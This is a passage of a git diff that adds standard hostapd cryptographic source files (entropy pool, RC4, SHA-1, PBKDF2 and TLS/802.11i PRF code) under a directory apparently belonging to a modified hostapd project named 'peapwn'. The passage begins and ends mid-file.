security. + * + * The design here follows partially the design used in the Linux + * drivers/char/random.c, but the implementation here is simpler and not as + * strong. This is a compromise to reduce duplicated CPU effort and to avoid + * extra code/memory size. As pointed out above, os_get_random() needs to be + * guaranteed to be secure for any of the security assumptions to hold. + */ + +#include "utils/includes.h" +#ifdef __linux__ +#include +#endif /* __linux__ */ + +#include "utils/common.h" +#include "utils/eloop.h" +#include "crypto/crypto.h" +#include "sha1.h" +#include "random.h" + +#define POOL_WORDS 32 +#define POOL_WORDS_MASK (POOL_WORDS - 1) +#define POOL_TAP1 26 +#define POOL_TAP2 20 +#define POOL_TAP3 14 +#define POOL_TAP4 7 +#define POOL_TAP5 1 +#define EXTRACT_LEN 16 +#define MIN_READY_MARK 2 + +static u32 pool[POOL_WORDS]; +static unsigned int input_rotate = 0; +static unsigned int pool_pos = 0; +static u8 dummy_key[20]; +#ifdef __linux__ +static size_t dummy_key_avail = 0; +static int random_fd = -1; +#endif /* __linux__ */ +static unsigned int own_pool_ready = 0; +#define RANDOM_ENTROPY_SIZE 20 +static char *random_entropy_file = NULL; +static int random_entropy_file_read = 0; + +#define MIN_COLLECT_ENTROPY 1000 +static unsigned int entropy = 0; +static unsigned int total_collected = 0; + + +static void random_write_entropy(void); + + +static u32 __ROL32(u32 x, u32 y) +{ + return (x << (y & 31)) | (x >> (32 - (y & 31))); +} + + +static void random_mix_pool(const void *buf, size_t len) +{ + static const u32 twist[8] = { + 0x00000000, 0x3b6e20c8, 0x76dc4190, 0x4db26158, + 0xedb88320, 0xd6d6a3e8, 0x9b64c2b0, 0xa00ae278 + }; + const u8 *pos = buf; + u32 w; + + wpa_hexdump_key(MSG_EXCESSIVE, "random_mix_pool", buf, len); + + while (len--) { + w = __ROL32(*pos++, input_rotate & 31); + input_rotate += pool_pos ? 7 : 14; + pool_pos = (pool_pos - 1) & POOL_WORDS_MASK; + w ^= pool[pool_pos]; + w ^= pool[(pool_pos + POOL_TAP1) & POOL_WORDS_MASK]; + w ^= pool[(pool_pos + POOL_TAP2) & POOL_WORDS_MASK]; + w ^= pool[(pool_pos + POOL_TAP3) & POOL_WORDS_MASK]; + w ^= pool[(pool_pos + POOL_TAP4) & POOL_WORDS_MASK]; + w ^= pool[(pool_pos + POOL_TAP5) & POOL_WORDS_MASK]; + pool[pool_pos] = (w >> 3) ^ twist[w & 7]; + } +} + + +static void random_extract(u8 *out) +{ + unsigned int i; + u8 hash[SHA1_MAC_LEN]; + u32 *hash_ptr; + u32 buf[POOL_WORDS / 2]; + + /* First, add hash back to pool to make backtracking more difficult. */ + hmac_sha1(dummy_key, sizeof(dummy_key), (const u8 *) pool, + sizeof(pool), hash); + random_mix_pool(hash, sizeof(hash)); + /* Hash half the pool to extra data */ + for (i = 0; i < POOL_WORDS / 2; i++) + buf[i] = pool[(pool_pos - i) & POOL_WORDS_MASK]; + hmac_sha1(dummy_key, sizeof(dummy_key), (const u8 *) buf, + sizeof(buf), hash); + /* + * Fold the hash to further reduce any potential output pattern. + * Though, compromise this to reduce CPU use for the most common output + * length (32) and return 16 bytes from instead of only half. + */ + hash_ptr = (u32 *) hash; + hash_ptr[0] ^= hash_ptr[4]; + os_memcpy(out, hash, EXTRACT_LEN); +} + + +void random_add_randomness(const void *buf, size_t len) +{ + struct os_time t; + static unsigned int count = 0; + + count++; + if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) { + /* + * No need to add more entropy at this point, so save CPU and + * skip the update. + */ + return; + } + wpa_printf(MSG_EXCESSIVE, "Add randomness: count=%u entropy=%u", + count, entropy); + + os_get_time(&t); + wpa_hexdump_key(MSG_EXCESSIVE, "random pool", + (const u8 *) pool, sizeof(pool)); + random_mix_pool(&t, sizeof(t)); + random_mix_pool(buf, len); + wpa_hexdump_key(MSG_EXCESSIVE, "random pool", + (const u8 *) pool, sizeof(pool)); + entropy++; + total_collected++; +} + + +int random_get_bytes(void *buf, size_t len) +{ + int ret; + u8 *bytes = buf; + size_t left; + + wpa_printf(MSG_MSGDUMP, "Get randomness: len=%u entropy=%u", + (unsigned int) len, entropy); + + /* Start with assumed strong randomness from OS */ + ret = os_get_random(buf, len); + wpa_hexdump_key(MSG_EXCESSIVE, "random from os_get_random", + buf, len); + + /* Mix in additional entropy extracted from the internal pool */ + left = len; + while (left) { + size_t siz, i; + u8 tmp[EXTRACT_LEN]; + random_extract(tmp); + wpa_hexdump_key(MSG_EXCESSIVE, "random from internal pool", + tmp, sizeof(tmp)); + siz = left > EXTRACT_LEN ? EXTRACT_LEN : left; + for (i = 0; i < siz; i++) + *bytes++ ^= tmp[i]; + left -= siz; + } + +#ifdef CONFIG_FIPS + /* Mix in additional entropy from the crypto module */ + left = len; + while (left) { + size_t siz, i; + u8 tmp[EXTRACT_LEN]; + if (crypto_get_random(tmp, sizeof(tmp)) < 0) { + wpa_printf(MSG_ERROR, "random: No entropy available " + "for generating strong random bytes"); + return -1; + } + wpa_hexdump_key(MSG_EXCESSIVE, "random from crypto module", + tmp, sizeof(tmp)); + siz = left > EXTRACT_LEN ? EXTRACT_LEN : left; + for (i = 0; i < siz; i++) + *bytes++ ^= tmp[i]; + left -= siz; + } +#endif /* CONFIG_FIPS */ + + wpa_hexdump_key(MSG_EXCESSIVE, "mixed random", buf, len); + + if (entropy < len) + entropy = 0; + else + entropy -= len; + + return ret; +} + + +int random_pool_ready(void) +{ +#ifdef __linux__ + int fd; + ssize_t res; + + /* + * Make sure that there is reasonable entropy available before allowing + * some key derivation operations to proceed. + */ + + if (dummy_key_avail == sizeof(dummy_key)) + return 1; /* Already initialized - good to continue */ + + /* + * Try to fetch some more data from the kernel high quality + * /dev/random. There may not be enough data available at this point, + * so use non-blocking read to avoid blocking the application + * completely. + */ + fd = open("/dev/random", O_RDONLY | O_NONBLOCK); + if (fd < 0) { +#ifndef CONFIG_NO_STDOUT_DEBUG + int error = errno; + perror("open(/dev/random)"); + wpa_printf(MSG_ERROR, "random: Cannot open /dev/random: %s", + strerror(error)); +#endif /* CONFIG_NO_STDOUT_DEBUG */ + return -1; + } + + res = read(fd, dummy_key + dummy_key_avail, + sizeof(dummy_key) - dummy_key_avail); + if (res < 0) { + wpa_printf(MSG_ERROR, "random: Cannot read from /dev/random: " + "%s", strerror(errno)); + res = 0; + } + wpa_printf(MSG_DEBUG, "random: Got %u/%u bytes from " + "/dev/random", (unsigned) res, + (unsigned) (sizeof(dummy_key) - dummy_key_avail)); + dummy_key_avail += res; + close(fd); + + if (dummy_key_avail == sizeof(dummy_key)) { + if (own_pool_ready < MIN_READY_MARK) + own_pool_ready = MIN_READY_MARK; + random_write_entropy(); + return 1; + } + + wpa_printf(MSG_INFO, "random: Only %u/%u bytes of strong " + "random data available from /dev/random", + (unsigned) dummy_key_avail, (unsigned) sizeof(dummy_key)); + + if (own_pool_ready >= MIN_READY_MARK || + total_collected + 10 * own_pool_ready > MIN_COLLECT_ENTROPY) { + wpa_printf(MSG_INFO, "random: Allow operation to proceed " + "based on internal entropy"); + return 1; + } + + wpa_printf(MSG_INFO, "random: Not enough entropy pool available for " + "secure operations"); + return 0; +#else /* __linux__ */ + /* TODO: could do similar checks on non-Linux platforms */ + return 1; +#endif /* __linux__ */ +} + + +void random_mark_pool_ready(void) +{ + own_pool_ready++; + wpa_printf(MSG_DEBUG, "random: Mark internal entropy pool to be " + "ready (count=%u/%u)", own_pool_ready, MIN_READY_MARK); + random_write_entropy(); +} + + +#ifdef __linux__ + +static void random_close_fd(void) +{ + if (random_fd >= 0) { + eloop_unregister_read_sock(random_fd); + close(random_fd); + random_fd = -1; + } +} + + +static void random_read_fd(int sock, void *eloop_ctx, void *sock_ctx) +{ + ssize_t res; + + if (dummy_key_avail == sizeof(dummy_key)) { + random_close_fd(); + return; + } + + res = read(sock, dummy_key + dummy_key_avail, + sizeof(dummy_key) - dummy_key_avail); + if (res < 0) { + wpa_printf(MSG_ERROR, "random: Cannot read from /dev/random: " + "%s", strerror(errno)); + return; + } + + wpa_printf(MSG_DEBUG, "random: Got %u/%u bytes from /dev/random", + (unsigned) res, + (unsigned) (sizeof(dummy_key) - dummy_key_avail)); + dummy_key_avail += res; + + if (dummy_key_avail == sizeof(dummy_key)) { + random_close_fd(); + if (own_pool_ready < MIN_READY_MARK) + own_pool_ready = MIN_READY_MARK; + random_write_entropy(); + } +} + +#endif /* __linux__ */ + + +static void random_read_entropy(void) +{ + char *buf; + size_t len; + + if (!random_entropy_file) + return; + + buf = os_readfile(random_entropy_file, &len); + if (buf == NULL) + return; /* entropy file not yet available */ + + if (len != 1 + RANDOM_ENTROPY_SIZE) { + wpa_printf(MSG_DEBUG, "random: Invalid entropy file %s", + random_entropy_file); + os_free(buf); + return; + } + + own_pool_ready = (u8) buf[0]; + random_add_randomness(buf + 1, RANDOM_ENTROPY_SIZE); + random_entropy_file_read = 1; + os_free(buf); + wpa_printf(MSG_DEBUG, "random: Added entropy from %s " + "(own_pool_ready=%u)", + random_entropy_file, own_pool_ready); +} + + +static void random_write_entropy(void) +{ + char buf[RANDOM_ENTROPY_SIZE]; + FILE *f; + u8 opr; + int fail = 0; + + if (!random_entropy_file) + return; + + if (random_get_bytes(buf, RANDOM_ENTROPY_SIZE) < 0) + return; + + f = fopen(random_entropy_file, "wb"); + if (f == NULL) { + wpa_printf(MSG_ERROR, "random: Could not open entropy file %s " + "for writing", random_entropy_file); + return; + } + + opr = own_pool_ready > 0xff ? 0xff : own_pool_ready; + if (fwrite(&opr, 1, 1, f) != 1 || + fwrite(buf, RANDOM_ENTROPY_SIZE, 1, f) != 1) + fail = 1; + fclose(f); + if (fail) { + wpa_printf(MSG_ERROR, "random: Could not write entropy data " + "to %s", random_entropy_file); + return; + } + + wpa_printf(MSG_DEBUG, "random: Updated entropy file %s " + "(own_pool_ready=%u)", + random_entropy_file, own_pool_ready); +} + + +void random_init(const char *entropy_file) +{ + os_free(random_entropy_file); + if (entropy_file) + random_entropy_file = os_strdup(entropy_file); + else + random_entropy_file = NULL; + random_read_entropy(); + +#ifdef __linux__ + if (random_fd >= 0) + return; + + random_fd = open("/dev/random", O_RDONLY | O_NONBLOCK); + if (random_fd < 0) { +#ifndef CONFIG_NO_STDOUT_DEBUG + int error = errno; + perror("open(/dev/random)"); + wpa_printf(MSG_ERROR, "random: Cannot open /dev/random: %s", + strerror(error)); +#endif /* CONFIG_NO_STDOUT_DEBUG */ + return; + } + wpa_printf(MSG_DEBUG, "random: Trying to read entropy from " + "/dev/random"); + + eloop_register_read_sock(random_fd, random_read_fd, NULL, NULL); +#endif /* __linux__ */ + + random_write_entropy(); +} + + +void random_deinit(void) +{ +#ifdef __linux__ + random_close_fd(); +#endif /* __linux__ */ + random_write_entropy(); + os_free(random_entropy_file); + random_entropy_file = NULL; +} diff --git a/peapwn/mods/hostap/src/crypto/random.h b/peapwn/mods/hostap/src/crypto/random.h new file mode 100644 index 000000000..d13e1c492 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/random.h @@ -0,0 +1,28 @@ +/* + * Random number generator + * Copyright (c) 2010-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RANDOM_H +#define RANDOM_H + +#ifdef CONFIG_NO_RANDOM_POOL +#define random_init(e) do { } while (0) +#define random_deinit() do { } while (0) +#define random_add_randomness(b, l) do { } while (0) +#define random_get_bytes(b, l) os_get_random((b), (l)) +#define random_pool_ready() 1 +#define random_mark_pool_ready() do { } while (0) +#else /* CONFIG_NO_RANDOM_POOL */ +void random_init(const char *entropy_file); +void random_deinit(void); +void random_add_randomness(const void *buf, size_t len); +int random_get_bytes(void *buf, size_t len); +int random_pool_ready(void); +void random_mark_pool_ready(void); +#endif /* CONFIG_NO_RANDOM_POOL */ + +#endif /* RANDOM_H */ diff --git a/peapwn/mods/hostap/src/crypto/rc4.c b/peapwn/mods/hostap/src/crypto/rc4.c new file mode 100644 index 000000000..98ae269a6 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/rc4.c @@ -0,0 +1,54 @@ +/* + * RC4 stream cipher + * Copyright (c) 2002-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" + +#define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0) + +int rc4_skip(const u8 *key, size_t keylen, size_t skip, + u8 *data, size_t data_len) +{ + u32 i, j, k; + u8 S[256], *pos; + size_t kpos; + + /* Setup RC4 state */ + for (i = 0; i < 256; i++) + S[i] = i; + j = 0; + kpos = 0; + for (i = 0; i < 256; i++) { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + /* Skip the start of the stream */ + i = j = 0; + for (k = 0; k < skip; k++) { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + } + + /* Apply RC4 to data */ + pos = data; + for (k = 0; k < data_len; k++) { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/sha1-internal.c b/peapwn/mods/hostap/src/crypto/sha1-internal.c new file mode 100644 index 000000000..10bf153ca --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1-internal.c @@ -0,0 +1,302 @@ +/* + * SHA1 hash implementation and interface functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "sha1_i.h" +#include "md5.h" +#include "crypto.h" + +typedef struct SHA1Context SHA1_CTX; + +void SHA1Transform(u32 state[5], const unsigned char buffer[64]); + + +/** + * sha1_vector - SHA-1 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 of failure + */ +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + SHA1_CTX ctx; + size_t i; + + SHA1Init(&ctx); + for (i = 0; i < num_elem; i++) + SHA1Update(&ctx, addr[i], len[i]); + SHA1Final(mac, &ctx); + return 0; +} + + +/* ===== start - public domain SHA1 implementation ===== */ + +/* +SHA-1 in C +By Steve Reid +100% Public Domain + +----------------- +Modified 7/98 +By James H. Brown +Still 100% Public Domain + +Corrected a problem which generated improper hash values on 16 bit machines +Routine SHA1Update changed from + void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int +len) +to + void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned +long len) + +The 'len' parameter was declared an int which works fine on 32 bit machines. +However, on 16 bit machines an int is too small for the shifts being done +against +it. This caused the hash function to generate incorrect values if len was +greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update(). + +Since the file IO in main() reads 16K at a time, any file 8K or larger would +be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million +"a"s). + +I also changed the declaration of variables i & j in SHA1Update to +unsigned long from unsigned int for the same reason. + +These changes should make no difference to any 32 bit implementations since +an +int and a long are the same size in those environments. + +-- +I also corrected a few compiler warnings generated by Borland C. +1. Added #include for exit() prototype +2. Removed unused variable 'j' in SHA1Final +3. Changed exit(0) to return(0) at end of main. + +ALL changes I made can be located by searching for comments containing 'JHB' +----------------- +Modified 8/98 +By Steve Reid +Still 100% public domain + +1- Removed #include and used return() instead of exit() +2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall) +3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net + +----------------- +Modified 4/01 +By Saul Kravitz +Still 100% PD +Modified to run on Compaq Alpha hardware. + +----------------- +Modified 4/01 +By Jouni Malinen +Minor changes to match the coding style used in Dynamics. + +Modified September 24, 2004 +By Jouni Malinen +Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined. + +*/ + +/* +Test Vectors (from FIPS PUB 180-1) +"abc" + A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D +"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" + 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 +A million repetitions of "a" + 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F +*/ + +#define SHA1HANDSOFF + +#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) + +/* blk0() and blk() perform the initial expand. */ +/* I got the idea of expanding during the round function from SSLeay */ +#ifndef WORDS_BIGENDIAN +#define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ + (rol(block->l[i], 8) & 0x00FF00FF)) +#else +#define blk0(i) block->l[i] +#endif +#define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ + block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) + +/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ +#define R0(v,w,x,y,z,i) \ + z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ + w = rol(w, 30); +#define R1(v,w,x,y,z,i) \ + z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ + w = rol(w, 30); +#define R2(v,w,x,y,z,i) \ + z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); +#define R3(v,w,x,y,z,i) \ + z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ + w = rol(w, 30); +#define R4(v,w,x,y,z,i) \ + z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ + w=rol(w, 30); + + +#ifdef VERBOSE /* SAK */ +void SHAPrintContext(SHA1_CTX *context, char *msg) +{ + printf("%s (%d,%d) %x %x %x %x %x\n", + msg, + context->count[0], context->count[1], + context->state[0], + context->state[1], + context->state[2], + context->state[3], + context->state[4]); +} +#endif + +/* Hash a single 512-bit block. This is the core of the algorithm. */ + +void SHA1Transform(u32 state[5], const unsigned char buffer[64]) +{ + u32 a, b, c, d, e; + typedef union { + unsigned char c[64]; + u32 l[16]; + } CHAR64LONG16; + CHAR64LONG16* block; +#ifdef SHA1HANDSOFF + CHAR64LONG16 workspace; + block = &workspace; + os_memcpy(block, buffer, 64); +#else + block = (CHAR64LONG16 *) buffer; +#endif + /* Copy context->state[] to working vars */ + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + e = state[4]; + /* 4 rounds of 20 operations each. Loop unrolled. */ + R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); + R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); + R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); + R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); + R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); + R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); + R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); + R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); + R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); + R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); + R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); + R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); + R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); + R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); + R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); + R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); + R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); + R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); + R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); + R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); + /* Add the working vars back into context.state[] */ + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + state[4] += e; + /* Wipe variables */ + a = b = c = d = e = 0; +#ifdef SHA1HANDSOFF + os_memset(block, 0, 64); +#endif +} + + +/* SHA1Init - Initialize new context */ + +void SHA1Init(SHA1_CTX* context) +{ + /* SHA1 initialization constants */ + context->state[0] = 0x67452301; + context->state[1] = 0xEFCDAB89; + context->state[2] = 0x98BADCFE; + context->state[3] = 0x10325476; + context->state[4] = 0xC3D2E1F0; + context->count[0] = context->count[1] = 0; +} + + +/* Run your data through this. */ + +void SHA1Update(SHA1_CTX* context, const void *_data, u32 len) +{ + u32 i, j; + const unsigned char *data = _data; + +#ifdef VERBOSE + SHAPrintContext(context, "before"); +#endif + j = (context->count[0] >> 3) & 63; + if ((context->count[0] += len << 3) < (len << 3)) + context->count[1]++; + context->count[1] += (len >> 29); + if ((j + len) > 63) { + os_memcpy(&context->buffer[j], data, (i = 64-j)); + SHA1Transform(context->state, context->buffer); + for ( ; i + 63 < len; i += 64) { + SHA1Transform(context->state, &data[i]); + } + j = 0; + } + else i = 0; + os_memcpy(&context->buffer[j], &data[i], len - i); +#ifdef VERBOSE + SHAPrintContext(context, "after "); +#endif +} + + +/* Add padding and return the message digest. */ + +void SHA1Final(unsigned char digest[20], SHA1_CTX* context) +{ + u32 i; + unsigned char finalcount[8]; + + for (i = 0; i < 8; i++) { + finalcount[i] = (unsigned char) + ((context->count[(i >= 4 ? 0 : 1)] >> + ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ + } + SHA1Update(context, (unsigned char *) "\200", 1); + while ((context->count[0] & 504) != 448) { + SHA1Update(context, (unsigned char *) "\0", 1); + } + SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() + */ + for (i = 0; i < 20; i++) { + digest[i] = (unsigned char) + ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & + 255); + } + /* Wipe variables */ + i = 0; + os_memset(context->buffer, 0, 64); + os_memset(context->state, 0, 20); + os_memset(context->count, 0, 8); + os_memset(finalcount, 0, 8); +} + +/* ===== end - public domain SHA1 implementation ===== */ diff --git a/peapwn/mods/hostap/src/crypto/sha1-pbkdf2.c b/peapwn/mods/hostap/src/crypto/sha1-pbkdf2.c new file mode 100644 index 000000000..8effe2fe0 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1-pbkdf2.c @@ -0,0 +1,92 @@ +/* + * SHA1-based key derivation function (PBKDF2) for IEEE 802.11i + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" + +static int pbkdf2_sha1_f(const char *passphrase, const u8 *ssid, + size_t ssid_len, int iterations, unsigned int count, + u8 *digest) +{ + unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; + int i, j; + unsigned char count_buf[4]; + const u8 *addr[2]; + size_t len[2]; + size_t passphrase_len = os_strlen(passphrase); + + addr[0] = ssid; + len[0] = ssid_len; + addr[1] = count_buf; + len[1] = 4; + + /* F(P, S, c, i) = U1 xor U2 xor ... Uc + * U1 = PRF(P, S || i) + * U2 = PRF(P, U1) + * Uc = PRF(P, Uc-1) + */ + + count_buf[0] = (count >> 24) & 0xff; + count_buf[1] = (count >> 16) & 0xff; + count_buf[2] = (count >> 8) & 0xff; + count_buf[3] = count & 0xff; + if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len, + tmp)) + return -1; + os_memcpy(digest, tmp, SHA1_MAC_LEN); + + for (i = 1; i < iterations; i++) { + if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp, + SHA1_MAC_LEN, tmp2)) + return -1; + os_memcpy(tmp, tmp2, SHA1_MAC_LEN); + for (j = 0; j < SHA1_MAC_LEN; j++) + digest[j] ^= tmp2[j]; + } + + return 0; +} + + +/** + * pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i + * @passphrase: ASCII passphrase + * @ssid: SSID + * @ssid_len: SSID length in bytes + * @iterations: Number of iterations to run + * @buf: Buffer for the generated key + * @buflen: Length of the buffer in bytes + * Returns: 0 on success, -1 of failure + * + * This function is used to derive PSK for WPA-PSK. For this protocol, + * iterations is set to 4096 and buflen to 32. This function is described in + * IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0. + */ +int pbkdf2_sha1(const char *passphrase, const u8 *ssid, size_t ssid_len, + int iterations, u8 *buf, size_t buflen) +{ + unsigned int count = 0; + unsigned char *pos = buf; + size_t left = buflen, plen; + unsigned char digest[SHA1_MAC_LEN]; + + while (left > 0) { + count++; + if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, + count, digest)) + return -1; + plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; + os_memcpy(pos, digest, plen); + pos += plen; + left -= plen; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/sha1-prf.c b/peapwn/mods/hostap/src/crypto/sha1-prf.c new file mode 100644 index 000000000..90b9e74b7 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1-prf.c @@ -0,0 +1,66 @@ +/* + * SHA1-based PRF + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "crypto.h" + + +/** + * sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1) + * @key: Key for PRF + * @key_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @data: Extra data to bind into the key + * @data_len: Length of the data + * @buf: Buffer for the generated pseudo-random key + * @buf_len: Number of bytes of key to generate + * Returns: 0 on success, -1 of failure + * + * This function is used to derive new, cryptographically separate keys from a + * given key (e.g., PMK in IEEE 802.11i). + */ +int sha1_prf(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, size_t buf_len) +{ + u8 counter = 0; + size_t pos, plen; + u8 hash[SHA1_MAC_LEN]; + size_t label_len = os_strlen(label) + 1; + const unsigned char *addr[3]; + size_t len[3]; + + addr[0] = (u8 *) label; + len[0] = label_len; + addr[1] = data; + len[1] = data_len; + addr[2] = &counter; + len[2] = 1; + + pos = 0; + while (pos < buf_len) { + plen = buf_len - pos; + if (plen >= SHA1_MAC_LEN) { + if (hmac_sha1_vector(key, key_len, 3, addr, len, + &buf[pos])) + return -1; + pos += SHA1_MAC_LEN; + } else { + if (hmac_sha1_vector(key, key_len, 3, addr, len, + hash)) + return -1; + os_memcpy(&buf[pos], hash, plen); + break; + } + counter++; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/sha1-tlsprf.c b/peapwn/mods/hostap/src/crypto/sha1-tlsprf.c new file mode 100644 index 000000000..0effd9b76 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1-tlsprf.c @@ -0,0 +1,99 @@ +/* + * TLS PRF (SHA1 + MD5) + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "md5.h" + + +/** + * tls_prf_sha1_md5 - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246) + * @secret: Key for PRF + * @secret_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @seed: Seed value to bind into the key + * @seed_len: Length of the seed + * @out: Buffer for the generated pseudo-random key + * @outlen: Number of bytes of key to generate + * Returns: 0 on success, -1 on failure. + * + * This function is used to derive new, cryptographically separate keys from a + * given key in TLS. This PRF is defined in RFC 2246, Chapter 5. + */ +int tls_prf_sha1_md5(const u8 *secret, size_t secret_len, const char *label, + const u8 *seed, size_t seed_len, u8 *out, size_t outlen) +{ + size_t L_S1, L_S2, i; + const u8 *S1, *S2; + u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN]; + u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN]; + int MD5_pos, SHA1_pos; + const u8 *MD5_addr[3]; + size_t MD5_len[3]; + const unsigned char *SHA1_addr[3]; + size_t SHA1_len[3]; + + if (secret_len & 1) + return -1; + + MD5_addr[0] = A_MD5; + MD5_len[0] = MD5_MAC_LEN; + MD5_addr[1] = (unsigned char *) label; + MD5_len[1] = os_strlen(label); + MD5_addr[2] = seed; + MD5_len[2] = seed_len; + + SHA1_addr[0] = A_SHA1; + SHA1_len[0] = SHA1_MAC_LEN; + SHA1_addr[1] = (unsigned char *) label; + SHA1_len[1] = os_strlen(label); + SHA1_addr[2] = seed; + SHA1_len[2] = seed_len; + + /* RFC 